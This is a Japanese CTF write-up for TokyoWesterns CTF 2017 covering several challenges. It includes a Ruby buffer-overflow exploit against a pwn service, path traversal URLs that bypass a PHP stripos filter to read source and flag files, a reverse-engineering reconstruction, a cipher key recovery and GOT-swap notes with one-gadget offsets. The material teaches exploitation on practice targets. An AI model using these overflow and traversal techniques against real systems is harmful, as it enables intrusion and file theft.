nicklegrで個人参加。
146点で179位(901チーム中)でした。
解いたチーム数で得点が変動するシステム。
Warmup問題しか解けませんでしたが、その他も良問の予感がしました。
今回はpwnlib.rbをお借りしました。PwnはもちろんPPCでも便利でした。
Welcome!!
The flag is "TWCTF{Welcome_To_TWCTF2017!!}".
Just do it! (Pwn)
私でも解けた、やるだけpwn問題。
flagは0x804a080
に読み込まれる。
送信した文字列はebp-0x28
から書き込まれ、バッファは0x10
バイトだが0x20
バイトまでオーバーフローする。
"Invalid Password"
へのポインタがebp-0x14
にあるので、ここをflagのアドレスで上書きすればいい。
正しいパスワードを入力するとebp-0x14
が上書きされ、逆に失敗する。
require_relative "pwnlib"
host = "pwn1.chal.ctf.westerns.tokyo"
port = 12482
PwnTube.open(host, port) do |tube|
payload = [0x0].pack("C") * (0x28 - 0x14) + "\x80\xa0\x04\x08"
tube.recv_until("Input the password.\n")
tube.sendline(payload)
puts tube.recv_until("\n")
end
TWCTF{pwnable_warmup_I_did_it!}
Rev Rev Rev (Reverse)
やってることはこんな感じ。
#include <stdio.h>
#include <string.h>
typedef char s8;
typedef unsigned char u8;
void remove_newline(u8* input)
{
*strchr((char*)input, '\n') = 0;
}
void str_reverse(u8* input) // sub_80486db
{
u8* p = input;
u8* pLast = input + strlen((char*)input) - 1;
while (p < pLast)
{
u8 pChar = *p;
*p = *pLast;
*pLast = pChar;
p++;
pLast--;
}
}
u8 char_shuffle(u8 v)
{
// x == eax
// ebp-0x5 == v
u8 x = v;
x &= 0x55; // 0b01010101
x += x;
u8 y = x;
x = v;
x = (x & 0x80) | (x >> 1); // x >>= 1; // signed
x &= 0x55;
x |= y;
v = x;
// 08048768 0fbe45fb movsx eax, byte [ebp-0x5 {x}]
x &= 0x33; // 0b00110011
x <<= 2;
y = x;
// 08048774 0fb645fb movzx eax, byte [ebp-0x5 {x}]
x = v;
x = (x & 0x80) | ((x & 0x80) >> 1) | (x >> 2); // x >>= 2; // signed
x &= 0x33;
x |= y;
v = x;
// 08048783 0fbe45fb movsx eax, byte [ebp-0x5 {x}]
x <<= 4;
y = x;
// 0804878c 0fb645fb movzx eax, byte [ebp-0x5 {x}]
x = v;
x >>= 4;
x |= y;
return x;
}
void str_shuffle(u8* input) // sub_8048738
{
u8* p = input;
while(*p)
{
*p = char_shuffle(*p);
p++;
}
}
void str_not(u8* input) // sub_80487b2
{
u8* p = input;
while(*p)
{
u8 x = *p;
x = ~x;
*p = x;
p++;
}
}
int main(void)
{
puts("Rev! Rev! Rev!");
printf("Your input: ");
u8 input[0x21 + 1];
fgets((char*)input, 0x21, stdin); // 最大0x20文字 + \n
remove_newline(input);
str_reverse(input);
str_shuffle(input);
str_not(input);
// mov eax, dword [804a038]
u8 key[] = {
0x41, 0x29, 0xd9, 0x65, 0xa1, 0xf1, 0xe1, 0xc9,
0x19, 0x09, 0x93, 0x13, 0xa1, 0x09, 0xb9, 0x49,
0xb9, 0x89, 0xdd, 0x61, 0x31, 0x69, 0xa1, 0xf1,
0x71, 0x21, 0x9d, 0xd5, 0x3d, 0x15, 0xd5, 0x00, // 31文字
};
if (strcmp((char*)input, (char*)key) == 0) {
puts("Correct!");
} else {
puts("Invalid!");
}
return 0;
}
これを逆算する。
str_shuffle()
がよくわからなかったので変換テーブルを作って逆引きしたけど、実は2回やると元に戻るらしい。
なので関数をそのまま使って逆順に処理するのでもOK。
ただkey
の最後が0x00
になってるので、strlen
ではなく固定で32文字処理するように書き換えが必要。
TWCTF{qpzisyDnbmboz76oglxpzYdk}
Freshen Uploader (Web)
アップロード機能がないアップローダ。
Flag 1
ファイル名が指定できるならコレでしょう。
http://fup.chal.ctf.westerns.tokyo/download.php?f=../download.php
TWCTF{then_can_y0u_read_file_list?}
Flag 2
さっきダウンロードしたソースを見ると
$filename = $_GET['f'];
if(stripos($filename, 'file_list') != false) die();
striposのリファレンスを見る。
// === を使用していることに注意しましょう。単に == としても期待通りに動作
// しません。なぜなら 'a' は 0 番目(最初) の文字だからです。
if ($pos2 !== false) {
echo "We found '$findme' in '$mystring2' at position $pos2";
}
なるほど素晴らしい仕様だ。
先頭にダミーのfile_list
を入れて、../../
で帳尻を合わせる。
違うか…なんだろ
別の問題をやったあとで戻ってきて、何気なくコレを撃ったら
http://fup.chal.ctf.westerns.tokyo/download.php?f=../index.php
include('file_list.php');
ああなるほど。ファイルリストもphpなのか。
http://fup.chal.ctf.westerns.tokyo/download.php?f=file_list/../../file_list.php
<?php
$files = [
[FALSE, 1, 'test.cpp', 192, '6a92b449761226434f5fce6c8e87295a'],
[FALSE, 2, 'test.c', 325, '27259bca9edf408829bb749969449550'],
[TRUE, 3, 'flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213', 1337, 'flag_ef02dee64eb575d84ba626a78ad4e0243aeefd19145bc6502efe7018c4085213'],
[FALSE, 4, 'test.py', 94, '951470281beb8a490a941ac73bd10953'],
];
TWCTF{php_is_very_secure}
まったくですね。絶対書きたくない。
Palindromes Pairs - Coding Phase - (PPC)
####################################
# Palindromes Pairs #
####################################
A word is called "palindrome" if it reads the same backward as forward.
For instance, "cbabc", "cbc", "a", "caac" and "deaed" are palindromes.
Given the list of words s_1, s_2, s_3, ..., s_n,
your task is the count pair (i, j) that the concatenation of s_i and s_j is palindrome.
Input Format:
The first line contains n.
The second line contains s_1, s_2, s_3, ..., s_n separated by space.
n
s_1 s_2 s_3 ... s_n
Output Format:
Your program must output the number of pairs in one line.
Conditions:
* n <= 50
* |TestCase| = 50
* Each word only contains lower alphabets.
Example Input 1:
3
a ba cab
Example Output 1:
3
Explanation of Example1:
'aa' (1,1), 'aba' (1,2), 'bacab' (2,3)
Example Input 2:
5
a aa aaa aaaa aaaaa
Example Output 2:
25
----- START -----
Input 1/50
28
h jl lca oh uqn ls r o vi pg j c iph kbn n caq pjw u rb lb tfq u w br bjh xl j qfd
回答より通信部分の方が手間なやつだ。
require "pp"
require_relative "pwnlib"
host = "ppc1.chal.ctf.westerns.tokyo"
port = 8765
def count(strs)
c = 0
for i in 0 ... strs.size
for j in 0 ... strs.size
s = strs[i] + strs[j]
c += 1 if s == s.reverse
end
end
c
end
PwnTube.open(host, port) do |tube|
s = tube.recv_until(/Input \d+\/\d+\n/)
s =~ /\d+\/(\d+)/
num = $1.to_i
puts "[+] #{num} problems"
num.times do
n = tube.recv_until(/(\d+)\n/).to_i
strs = tube.recv_until("\n").split
pp n, strs
ans = count(strs)
pp ans
tube.sendline(ans.to_s)
tube.recv_until(/Input \d+\/\d+\n/)
end
end
Correct!
Congratulations! The Flag is 'TWCTF{find_favorite_smell}'.
My Simple Cipher (Crypto)
#!/usr/bin/python2
import sys
import random
key = sys.argv[1]
flag = '**CENSORED**'
assert len(key) == 13
assert max([ord(char) for char in key]) < 128
assert max([ord(char) for char in flag]) < 128
message = flag + "|" + key
encrypted = chr(random.randint(0, 128))
for i in range(0, len(message)):
encrypted += chr((ord(message[i]) + ord(key[i % len(key)]) + ord(encrypted[i])) % 128)
print(encrypted.encode('hex'))
7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e
key
とflag
で未知数が2つなので、どちらかを固定しないといけない。
flag
はTWCTF{xxxx}
のフォーマットのはずなので、key
の最初の6文字は逆算できる。
message = "TWCTF{xxxx}" + "|" + "0123456789012"
encrypted = "7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e"
message_ords = message.each_char.to_a.map{|e| e.ord}
encrypted_ords = [encrypted].pack("H*").unpack("c*")
key = ""
for i in 0...message.size
key_ord = encrypted_ords[i+1] - message_ords[i] - encrypted_ords[i]
key_ord += 128 while key_ord < 0
key += key_ord.chr
end
puts key
# => "ENJ0YH???????"
これでデコードしてみると、
encrypted = "7c153a474b6a2d3f7d3f7328703e6c2d243a083e2e773c45547748667c1511333f4f745e"
encrypted_ords = [encrypted].pack("H*").unpack("c*")
key = "ENJ0YH???????"
key_ords = key.each_char.to_a.map{|e| e.ord}
message = ""
for i in 0...encrypted_ords.size-1
message_ord = encrypted_ords[i+1] - key_ords[i % key.size] - encrypted_ords[i]
message_ord += 128 while message_ord < 0
message += message_ord.chr
end
puts message
# => TWCTF{1{wkgX-is-funXXz@A\0YHOLID/bX
なんか中途半端に解けてる。
message
とkey
が一文字ずつ対応するので、対応する位置は正しくデコードできてるはず。並べてみると
msg: TWCTF{1{wkgX-is-funXXz@A\0YHOLID/bX
key: ENJ0YH???????ENJ0YH???????ENJ0YH???
ENJ0YHOLID???
までわかった。同様にもう一度デコードすると
TWCTF{CrypvXXis-fun!}|EPdXYHOLIDAY!
key
はENJ0YHOLIDAY!
でした。
TWCTF{Crypto-is-fun!}
swap (Pwn)
解けなかった。
入力した2つのアドレスの内容を入れ替えてくれるプログラム。
入れ替えるのは8バイト。memcpy
を使うのでアラインメント制限はなし。
puts
とatoi
のGOT(0x601018
と0x601050
)を入れ替えると、
- メッセージが出なくなるが問題なく動作する
- 両者の引数が
const char*
で同じなのと、puts
の戻り値は全て捨てているため
- 両者の引数が
-
puts
は出力した文字数を返すので、送った文字数に応じてメニュー番号も指定できる
という面白い性質を見つけたけど、アドレスのリークができずにその先に進めなかった。残念。
libcにOne-gadget RCEがあったので、そこに飛ばせばよさそうなんだけど。
45271:
rax == 0
[rsp+0x30] == 0
f027b:
rax == 0
[rsp+0x50] == 0
f111e:
rax == 0
[rsp+0x70] == 0
他の人のWriteup
- http://qiita.com/kusano_k/items/b1fff79d535f4b26cdd0
- https://blog.myon.info/entry/2017/09/04/twctf-2017-writeups/
- http://pwn.megumi.sh/entry/2017/09/05/121500
- http://pwn.megumi.sh/entry/2017/09/05/123954
- https://blog.tyage.net/?p=1043
- http://corb3nik.github.io/blog/tokyo-westerns-2017/super-secure-storage
- https://rawsec.ml/en/Tokyo-Westerns-2017-write-ups/#freshen-uploader-web
- https://gist.github.com/niklasb/85ce3fec31cc58c804a277acc000ed23
- https://gist.github.com/bkth/eea0d2d8a4de7e5bb2ce5e5f7a3d2608
- https://gist.github.com/sroettger/1f0c87bee7c5c560dabb949a4fe535a1
- https://elliptic-shiho.github.io/ctf-writeups/#!ctf/2017/TokyoWesterns%20CTF%203rd/README.md
- https://gist.github.com/Bono-iPad/83bab2bed611a8d3fa5d28f42b9cb79a
- https://gist.github.com/Bono-iPad/80183669429319d1dd602f24dd37f44e
- http://mslc.ctf.su/wp/twctf-2017-solutions-for-babypinhole-liars-trap-palindrome-pairs-challenge/
- https://github.com/scwuaptx/CTF/tree/master/2017-writeup/twctf
- https://github.com/xerosec/CTFs/blob/master/tw2017/swap.py